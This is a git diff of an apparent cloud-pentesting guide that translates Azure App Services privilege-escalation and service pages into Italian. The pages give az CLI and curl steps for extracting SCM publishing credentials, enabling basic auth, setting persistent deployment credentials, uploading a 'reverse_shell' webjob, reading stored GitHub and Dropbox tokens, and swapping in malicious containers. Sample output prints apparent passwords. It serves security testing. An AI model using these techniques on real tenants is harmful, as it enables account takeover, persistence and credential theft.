diff --git a/src/SUMMARY.md b/src/SUMMARY.md index a470914ae..17225a2e2 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -425,6 +425,7 @@ - [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md) - [Az - Logic Apps](pentesting-cloud/azure-security/az-services/az-logic-apps.md) - [Az - Management Groups, Subscriptions & Resource Groups](pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md) + - [Az - Misc](pentesting-cloud/azure-security/az-services/az-misc.md) - [Az - Monitoring](pentesting-cloud/azure-security/az-services/az-monitoring.md) - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql.md) - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql.md) diff --git a/src/images/lasttower.png b/src/images/lasttower.png new file mode 100644 index 000000000..61b197810 Binary files /dev/null and b/src/images/lasttower.png differ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md index 7e842933c..d51554943 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md @@ -4,7 +4,7 @@ ## App Services -For more information about Azure App services check: +Per ulteriori informazioni sui servizi App di Azure, controlla: {{#ref}} ../az-services/az-app-services.md @@ -12,17 +12,14 @@ For more information about Azure App services check: ### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read -These permissions allow to get a **SSH shell** inside a web app. They also allow to **debug** the application. - -- **SSH in single command**: +Queste autorizzazioni consentono di ottenere una **SSH shell** all'interno di un'app web. Consentono anche di **debuggare** l'applicazione. +- **SSH in un singolo comando**: ```bash # Direct option az webapp ssh --name --resource-group ``` - -- **Create tunnel and then connect to SSH**: - +- **Crea un tunnel e poi connettiti a SSH**: ```bash az webapp create-remote-connection --name --resource-group @@ -35,152 +32,146 @@ az webapp create-remote-connection --name --resource-group ## So from that machine ssh into that port (you might need generate a new ssh session to the jump host) ssh root@127.0.0.1 -p 39895 ``` +- **Debugga l'applicazione**: +1. Installa l'estensione Azure in VScode. +2. Accedi all'estensione con l'account Azure. +3. Elenca tutti i servizi App all'interno dell'abbonamento. +4. Seleziona il servizio App che desideri debugare, fai clic destro e seleziona "Inizia Debugging". +5. Se l'app non ha il debug abilitato, l'estensione cercherà di abilitarlo, ma il tuo account ha bisogno del permesso `Microsoft.Web/sites/config/write` per farlo. -- **Debug the application**: - 1. Install the Azure extension in VScode. - 2. Login in the extension with the Azure account. - 3. List all the App services inside the subscription. - 4. Select the App service you want to debug, right click and select "Start Debugging". - 5. If the app doesn't have debugging enabled, the extension will try to enable it but your account needs the permission `Microsoft.Web/sites/config/write` to do so. +### Ottenere le credenziali SCM e abilitare l'autenticazione di base -### Obtaining SCM Credentials & Enabling Basic Authentication - -To obtain the SCM credentials, you can use the following **commands and permissions**: - -- The permission **`Microsoft.Web/sites/publishxml/action`** allows to call: +Per ottenere le credenziali SCM, puoi utilizzare i seguenti **comandi e permessi**: +- Il permesso **`Microsoft.Web/sites/publishxml/action`** consente di chiamare: ```bash az webapp deployment list-publishing-profiles --name --resource-group # Example output [ { - "SQLServerDBConnectionString": "", - "controlPanelLink": "https://portal.azure.com", - "databases": null, - "destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", - "hostingProviderForumLink": "", - "msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a", - "mySQLDBConnectionString": "", - "profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy", - "publishMethod": "MSDeploy", - "publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", - "userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", - "webSystem": "WebSites" - }, - { - "SQLServerDBConnectionString": "", - "controlPanelLink": "https://portal.azure.com", - "databases": null, - "destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", - "ftpPassiveMode": "True", - "hostingProviderForumLink": "", - "mySQLDBConnectionString": "", - "profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP", - "publishMethod": "FTP", - "publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot", - "userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", - "webSystem": "WebSites" - }, - { - "SQLServerDBConnectionString": "", - "controlPanelLink": "https://portal.azure.com", - "databases": null, - "destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", - "hostingProviderForumLink": "", - "mySQLDBConnectionString": "", - "profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy", - "publishMethod": "ZipDeploy", - "publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", - "userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", - "webSystem": "WebSites" - } +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy", +"publishMethod": "MSDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"ftpPassiveMode": "True", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP", +"publishMethod": "FTP", +"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot", +"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy", +"publishMethod": "ZipDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +} ] ``` +Nota come il **nome utente è sempre lo stesso** (eccetto in FTP che aggiunge il nome dell'app all'inizio) ma la **password è la stessa** per tutti. -Note how the **username is always the same** (except in FTP which ads the name of the app at the beginning) but the **password is the same** for all of them. - -Moreover, the **SCM URL is `.scm.azurewebsites.net`**. - -- The permission **`Microsoft.Web/sites/config/list/action`** allows to call: +Inoltre, l'**URL SCM è `.scm.azurewebsites.net`**. +- Il permesso **`Microsoft.Web/sites/config/list/action`** consente di chiamare: ```bash az webapp deployment list-publishing-credentials --name --resource-group # Example output { - "id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "kind": null, - "location": "Canada Central", - "name": "happy-bay-0d8f842ef57843c89185d452c1cede2a", - "publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", - "publishingPasswordHash": null, - "publishingPasswordHashSalt": null, - "publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", - "resourceGroup": "carlos_rg_3170", - "scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net", - "type": "Microsoft.Web/sites/publishingcredentials" +"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"kind": null, +"location": "Canada Central", +"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"publishingPasswordHash": null, +"publishingPasswordHashSalt": null, +"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"resourceGroup": "carlos_rg_3170", +"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net", +"type": "Microsoft.Web/sites/publishingcredentials" } ``` +Nota come le **credenziali sono le stesse** di quelle del comando precedente. -Note how the **credentials are the same** as in the previous command. - -- Another option would be to **set you own creds** and use them: - +- Un'altra opzione sarebbe **impostare le proprie credenziali** e usarle: ```bash +# Show if any user is configured (password won't be shown) +az webapp deployment user show + +# Set your own credentials az webapp deployment user set \ - --user-name hacktricks \ - --password 'W34kP@ssw0rd123!' +--user-name hacktricks \ +--password 'W34kP@ssw0rd123!' + +# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp ``` +Poi, puoi usare queste credenziali per **accedere alle piattaforme SCM e FTP**. Questo è anche un ottimo modo per mantenere la persistenza. -Then, you can use this credentials to **access the SCM and FTP platforms**. This is also a great way to maintain persistence. - -Remember that to access the SCM platform from the **web you need to access to `/BasicAuth`**. +Ricorda che per accedere alla piattaforma SCM dal **web devi accedere a `/BasicAuth`**. > [!WARNING] -> Note that every user can configure it's own credentials calling the previous command, but if the user doesn't have enough permissions to access the SCM or FTP, the credentials won't work. - -- If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`): +> Nota che ogni utente può configurare le proprie credenziali chiamando il comando precedente, ma se l'utente non ha abbastanza permessi per accedere a SCM o FTP, le credenziali non funzioneranno. +- Se vedi che quelle credenziali sono **REDACTED**, è perché **devi abilitare l'opzione di autenticazione di base SCM** e per questo hai bisogno del secondo permesso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`): ```bash # Enable basic authentication for SCM az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ - --body '{ - "properties": { - "allow": true - } - }' +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' # Enable basic authentication for FTP az rest --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ - --body '{ - "properties": { - "allow": true - } - }' +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' ``` +### Pubblica codice utilizzando le credenziali SCM -### Publish code using SCM credentials +Avere semplicemente credenziali SCM valide consente di **pubblicare codice** nel servizio App. Questo può essere fatto utilizzando il seguente comando. -Just having valid SCM credentials it's possible to **publish code** to the App service. This can be done using the following command. - -For this python example you can download the repo from https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, do any **changes** you wish and then **zip it running: `zip -r app.zip .`**. - -Then you can **publish the code** in a web app with the following command: +Per questo esempio in python, puoi scaricare il repo da https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, apportare le **modifiche** che desideri e poi **zipparlo eseguendo: `zip -r app.zip .`**. +Poi puoi **pubblicare il codice** in un'app web con il seguente comando: ```bash curl -X POST "/api/publish?type=zip" --data-binary "@./app.zip" -u ':' -H "Content-Type: application/octet-stream" ``` +### Webjobs: Microsoft.Web/sites/publish/Action | Credenziali SCM -### Webjobs: Microsoft.Web/sites/publish/Action | SCM credentials - -The mentioned Azure permission allows to perform several interesting actions that can also be performed with the SCM credentials: - -- Read **Webjobs** logs: +Il permesso Azure menzionato consente di eseguire diverse azioni interessanti che possono essere eseguite anche con le credenziali SCM: +- Leggere i log di **Webjobs**: ```bash # Using Azure credentials az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" @@ -188,123 +179,108 @@ az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.az # Using SCM username and password: curl "/vfs/data/jobs/continuous/job_name/job_log.txt" \ - --user ':' -v +--user ':' -v ``` - -- Read **Webjobs** source code: - +- Leggi il codice sorgente di **Webjobs**: ```bash # Using SCM username and password: # Find all the webjobs inside: curl "/wwwroot/App_Data/jobs/" \ - --user ':' +--user ':' # e.g. curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \ - --user ':' +--user ':' ``` - -- Create **continuous Webjob**: - +- Crea **Webjob continuo**: ```bash # Using Azure permissions az rest \ - --method put \ - --uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \ - --headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \ - --body "@/Users/username/Downloads/rev.js" \ - --resource "https://management.azure.com/" +--method put \ +--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \ +--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \ +--body "@/Users/username/Downloads/rev.js" \ +--resource "https://management.azure.com/" # Using SCM credentials curl -X PUT \ - "/api/Continuouswebjobs/reverse_shell2" \ - -H 'Content-Disposition: attachment; filename=rev.js' \ - --data-binary "@/Users/carlospolop/Downloads/rev.js" \ - --user ':' +"/api/Continuouswebjobs/reverse_shell2" \ +-H 'Content-Disposition: attachment; filename=rev.js' \ +--data-binary "@/Users/carlospolop/Downloads/rev.js" \ +--user ':' ``` - ### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action -These permissions allow to **assign a managed identity** to the App service, so if an App service was previously compromised this will allow the attacker to assign new managed identities to the App service and **escalate privileges** to them. - +Queste autorizzazioni consentono di **assegnare un'identità gestita** al servizio App, quindi se un servizio App è stato precedentemente compromesso, questo permetterà all'attaccante di assegnare nuove identità gestite al servizio App e **escalare i privilegi** su di esse. ```bash az webapp identity assign --name --resource-group --identities /subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ ``` - ### Microsoft.Web/sites/config/list/action -This permission allows to list the **connection strings** and the **appsettings** of the App service which might contain sensitive information like database credentials. - +Questo permesso consente di elencare le **connection strings** e le **appsettings** del servizio App che potrebbero contenere informazioni sensibili come le credenziali del database. ```bash az webapp config connection-string list --name --resource-group az webapp config appsettings list --name --resource-group ``` +### Leggi le credenziali di terze parti configurate -### Read Configured Third Party Credentials - -Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one. - +Eseguendo il seguente comando è possibile **leggere le credenziali di terze parti** configurate nell'account attuale. Nota che, ad esempio, se alcune credenziali di Github sono configurate in un utente diverso, non sarai in grado di accedere al token da un altro. ```bash az rest --method GET \ - --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" ``` +Questo comando restituisce token per Github, Bitbucket, Dropbox e OneDrive. -This command returns tokens for Github, Bitbucket, Dropbox and OneDrive. - -Here you have some command examples to check the tokens: - +Ecco alcuni esempi di comandi per controllare i token: ```bash # GitHub – List Repositories curl -H "Authorization: token " \ - -H "Accept: application/vnd.github.v3+json" \ - https://api.github.com/user/repos +-H "Accept: application/vnd.github.v3+json" \ +https://api.github.com/user/repos # Bitbucket – List Repositories curl -H "Authorization: Bearer " \ - -H "Accept: application/json" \ - https://api.bitbucket.org/2.0/repositories +-H "Accept: application/json" \ +https://api.bitbucket.org/2.0/repositories # Dropbox – List Files in Root Folder curl -X POST https://api.dropboxapi.com/2/files/list_folder \ - -H "Authorization: Bearer " \ - -H "Content-Type: application/json" \ - --data '{"path": ""}' +-H "Authorization: Bearer " \ +-H "Content-Type: application/json" \ +--data '{"path": ""}' # OneDrive – List Files in Root Folder curl -H "Authorization: Bearer " \ - -H "Accept: application/json" \ - https://graph.microsoft.com/v1.0/me/drive/root/children +-H "Accept: application/json" \ +https://graph.microsoft.com/v1.0/me/drive/root/children ``` +### Aggiornare il codice dell'app dalla sorgente -### Update App Code from the source - -- If the configured source is a third-party provider like Github, BitBucket or an Azure Repository, you can **update the code** of the App service by compromising the source code in the repository. -- If the app is configured using a **remote git repository** (with username and password), it's possible to get the **URL and basic auth credentials** to clone and push changes with: - - Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name --resource-group ` - - Using the permission **`Microsoft.Web/sites/config/list/action`**: - - `az webapp deployment list-publishing-credentials --name --resource-group ` - - `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` -- If the app is configured to use a **local git repository**, it's possible to **clone the repository** and **push changes** to it: - - Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: You can get the URL of the git repo with `az webapp deployment source show --name --resource-group `, but it's going to be the same as the the SCM URL of the app with the path `/.git` (e.g. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`). - - To get the SCM credential you need the permission: - - **`Microsoft.Web/sites/publishxml/action`**: Then run `az webapp deployment list-publishing-profiles --resource-group -n `. - - **`Microsoft.Web/sites/config/list/action`**: Then run `az webapp deployment list-publishing-credentials --name --resource-group ` +- Se la sorgente configurata è un fornitore di terze parti come Github, BitBucket o un Repository Azure, puoi **aggiornare il codice** del servizio App compromettendo il codice sorgente nel repository. +- Se l'app è configurata utilizzando un **repository git remoto** (con nome utente e password), è possibile ottenere l'**URL e le credenziali di autenticazione di base** per clonare e inviare modifiche con: +- Utilizzando il permesso **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name --resource-group ` +- Utilizzando il permesso **`Microsoft.Web/sites/config/list/action`**: +- `az webapp deployment list-publishing-credentials --name --resource-group ` +- `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` +- Se l'app è configurata per utilizzare un **repository git locale**, è possibile **clonare il repository** e **inviare modifiche** ad esso: +- Utilizzando il permesso **`Microsoft.Web/sites/sourcecontrols/read`**: Puoi ottenere l'URL del repository git con `az webapp deployment source show --name --resource-group `, ma sarà lo stesso dell'URL SCM dell'app con il percorso `/.git` (ad esempio `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`). +- Per ottenere le credenziali SCM hai bisogno del permesso: +- **`Microsoft.Web/sites/publishxml/action`**: Quindi esegui `az webapp deployment list-publishing-profiles --resource-group -n `. +- **`Microsoft.Web/sites/config/list/action`**: Quindi esegui `az webapp deployment list-publishing-credentials --name --resource-group ` > [!WARNING] -> Note that having the permission `Microsoft.Web/sites/config/list/action` and the SCM credentials it's always possible to deploy into a webapp (even if it was configured to use a third-party provider) as mentioned in a previous section. +> Nota che avere il permesso `Microsoft.Web/sites/config/list/action` e le credenziali SCM rende sempre possibile distribuire in un webapp (anche se era configurato per utilizzare un fornitore di terze parti) come menzionato in una sezione precedente. > [!WARNING] -> Note that having the permissions below it's also **possible to execute an arbitrary container** even if the webapp was configured differently. +> Nota che avere i permessi sottostanti rende anche **possibile eseguire un container arbitrario** anche se il webapp era configurato diversamente. ### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read` -This is the set of permissions that allows to **modify the container used** by a webapp. An attacker could abuse it to make a webapp execute a malicious container. - +Questo è il set di permessi che consente di **modificare il container utilizzato** da un webapp. Un attaccante potrebbe abusarne per far eseguire a un webapp un container malevolo. ```bash az webapp config container set \ - --name \ - --resource-group \ - --docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest +--name \ +--resource-group \ +--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-services.md b/src/pentesting-cloud/azure-security/az-services/az-app-services.md index 417aab6a7..874e40912 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-services.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-services.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## App Service Basic Information +## Informazioni di base sui servizi App Azure App Services consente agli sviluppatori di **creare, distribuire e scalare applicazioni web, backend di app mobili e API senza soluzione di continuità**. Supporta più linguaggi di programmazione e si integra con vari strumenti e servizi Azure per funzionalità e gestione migliorate. @@ -18,15 +18,16 @@ Ogni app viene eseguita all'interno di un sandbox, ma l'isolamento dipende dai p Le app hanno alcune configurazioni interessanti: - **Always On**: Garantisce che l'app sia sempre in esecuzione. Se non abilitato, l'app smetterà di funzionare dopo 20 minuti di inattività e riprenderà quando viene ricevuta una richiesta. -- Questo è essenziale se hai un webjob che deve funzionare continuamente, poiché il webjob si fermerà se l'app si ferma. +- Questo è essenziale se hai un webjob che deve essere eseguito continuamente, poiché il webjob si fermerà se l'app si ferma. - **SSH**: Se abilitato, un utente con permessi sufficienti può connettersi all'app utilizzando SSH. - **Debugging**: Se abilitato, un utente con permessi sufficienti può eseguire il debug dell'app. Tuttavia, questo viene disabilitato automaticamente ogni 48 ore. -- **Web App + Database**: La console web consente di creare un'app con un database. In questo caso è possibile selezionare il database da utilizzare (SQLAzure, PostgreSQL, MySQL, MongoDB) e consente anche di creare una Cache Azure per Redis. +- **Web App + Database**: La console web consente di creare un'app con un database. In questo caso è possibile selezionare il database da utilizzare (SQLAzure, PostgreSQL, MySQL, MongoDB) e consente anche di creare una Cache di Azure per Redis. - L'URL contenente le credenziali per il database e Redis sarà memorizzato in **appsettings**. -- **Container**: È possibile distribuire un container nel App Service indicando l'URL del container e le credenziali per accedervi. +- **Container**: È possibile distribuire un container nel servizio App indicando l'URL del container e le credenziali per accedervi. - **Mounts**: È possibile creare 5 mount da account di archiviazione, essendo questi Azure Blob (sola lettura) o Azure Files. La configurazione memorizzerà la chiave di accesso sull'Account di Archiviazione. +- **Networking**: Può essere pubblicamente disponibile o accessibile solo tramite endpoint privati da una VNet. -## Basic Authentication +## Autenticazione di base Quando si crea un'app web (e una funzione Azure di solito) è possibile indicare se si desidera **abilitare l'autenticazione di base** (disabilitata per impostazione predefinita). Questo abilita sostanzialmente **SCM (Source Control Manager) e FTP (File Transfer Protocol)** per l'applicazione, quindi sarà possibile distribuire l'applicazione utilizzando queste tecnologie. @@ -39,9 +40,9 @@ Lo SCM ### Kudu -Kudu è la piattaforma che **gestisce sia lo SCM che un'interfaccia web e API** per gestire un App Service, e fornisce distribuzioni basate su Git, debug remoto e capacità di gestione dei file. È accessibile tramite l'URL SCM definito nell'app web. +Kudu è la piattaforma che **gestisce sia lo SCM che un'interfaccia web e API** per gestire un servizio App, e fornisce distribuzioni basate su Git, debug remoto e capacità di gestione dei file. È accessibile tramite l'URL SCM definito nell'app web. -Nota che le versioni di Kudu utilizzate da App Services e da Function Apps sono diverse, con la versione delle Function Apps molto più limitata. +Nota che le versioni di Kudu utilizzate dai servizi App e dalle Function Apps sono diverse, con la versione delle Function Apps molto più limitata. Alcuni endpoint interessanti che puoi trovare in Kudu sono: - `/BasicAuth`: Devi accedere a questo percorso per **accedere a Kudu**. @@ -54,13 +55,13 @@ Alcuni endpoint interessanti che puoi trovare in Kudu sono: Inoltre, Kudu era open source in [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu) ma il progetto è stato deprecato e confrontando il comportamento dell'attuale Kudu in Azure con quello precedente è possibile vedere che **diverse cose sono già cambiate**. -## Sources +## Fonti -App Services consentono di caricare il codice come file zip per impostazione predefinita, ma consentono anche di connettersi a un servizio di terze parti e ottenere il codice da lì. +I servizi App consentono di caricare il codice come file zip per impostazione predefinita, ma consentono anche di connettersi a un servizio di terze parti e ottenere il codice da lì. - Le fonti di terze parti attualmente supportate sono **Github** e **Bitbucket**. - Puoi ottenere i token di autenticazione eseguendo `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` -- Azure per impostazione predefinita configurerà un **Github Action** per distribuire il codice all'App Service ogni volta che il codice viene aggiornato. +- Azure per impostazione predefinita configurerà un **Github Action** per distribuire il codice nel servizio App ogni volta che il codice viene aggiornato. - È anche possibile indicare un **repository git remoto** (con username e password) per ottenere il codice da lì. - Puoi ottenere le credenziali per il repository remoto eseguendo `az webapp deployment source show --name --resource-group ` o `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` - È anche possibile utilizzare un **Azure Repository**. @@ -81,17 +82,17 @@ Inoltre, è sempre interessante controllare i **log** generati dai Webjobs poich ## Slots -Azure App Service Slots vengono utilizzati per **distribuire diverse versioni dell'applicazione** allo stesso App Service. Questo consente agli sviluppatori di testare nuove funzionalità o modifiche in un ambiente separato prima di distribuirle nell'ambiente di produzione. +Gli Azure App Service Slots vengono utilizzati per **distribuire diverse versioni dell'applicazione** nello stesso servizio App. Questo consente agli sviluppatori di testare nuove funzionalità o modifiche in un ambiente separato prima di distribuirle nell'ambiente di produzione. Inoltre, è possibile instradare una **percentuale del traffico** a uno slot specifico, utile per test A/B e per **scopi di backdoor**. ## Azure Function Apps -Fondamentalmente **le Azure Function apps sono un sottoinsieme di Azure App Service** nella console web e se vai alla console web e elenchi tutti i servizi app o esegui `az webapp list` in az cli sarai in grado di **vedere anche le Function apps elencate lì**. +Fondamentalmente, **le Azure Function apps sono un sottoinsieme di Azure App Service** nella console web e se vai nella console web e elenchi tutti i servizi app o esegui `az webapp list` in az cli, sarai in grado di **vedere anche le Function apps elencate lì**. Pertanto, entrambi i servizi hanno in realtà per lo più le **stesse configurazioni, funzionalità e opzioni nell'az cli**, anche se potrebbero configurarle in modo leggermente diverso (come i valori predefiniti di appsettings o l'uso di un Account di Archiviazione nelle Function apps). -## Enumeration +## Enumerazione {{#tabs }} {{#tab name="az" }} @@ -176,6 +177,10 @@ az webapp conection list --name --resource-group # Get hybrid-connections of a webapp az webapp hybrid-connections list --name --resource-group + +# Get configured SMC users by your account +az webapp deployment user show +## If any user is created, the username should appear in the "publishingUserName" field ``` {{#endtab }} @@ -286,7 +291,7 @@ az webapp up --runtime PYTHON:3.9 --sku B1 --logs Accedendo al portale SCM o accedendo tramite FTP è possibile vedere in `/wwwroot` il file compresso `output.tar.gz` che contiene il codice dell'app web. > [!TIP] -> Basta connettersi tramite FTP e modificare il file `output.tar.gz` non è sufficiente per cambiare il codice eseguito dall'app web. +> Collegarsi semplicemente tramite FTP e modificare il file `output.tar.gz` non è sufficiente per cambiare il codice eseguito dall'app web. **Un attaccante potrebbe scaricare questo file, modificarlo e caricarlo di nuovo per eseguire codice arbitrario nell'app web.** @@ -296,12 +301,12 @@ Questo tutorial si basa sul precedente ma utilizza un repository Github. 1. Forka il repo msdocs-python-flask-webapp-quickstart nel tuo account Github. 2. Crea una nuova Web App Python in Azure. -3. In `Deployment Center` cambia la sorgente, accedi con Github, seleziona il repo forkato e clicca su `Salva`. +3. Nel `Deployment Center` cambia la sorgente, accedi con Github, seleziona il repo forkato e clicca su `Salva`. Come nel caso precedente, accedendo al portale SCM o accedendo tramite FTP è possibile vedere in `/wwwroot` il file compresso `output.tar.gz` che 